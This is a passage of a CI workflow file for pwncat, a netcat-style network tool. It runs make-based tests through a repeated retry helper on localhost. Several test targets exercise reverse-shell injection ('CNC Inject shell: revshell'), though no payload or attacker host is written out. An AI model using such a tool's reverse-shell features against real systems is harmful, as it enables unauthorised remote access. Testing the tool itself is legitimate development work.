------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-3.7.yml000066400000000000000000001215141414025024700223540ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json 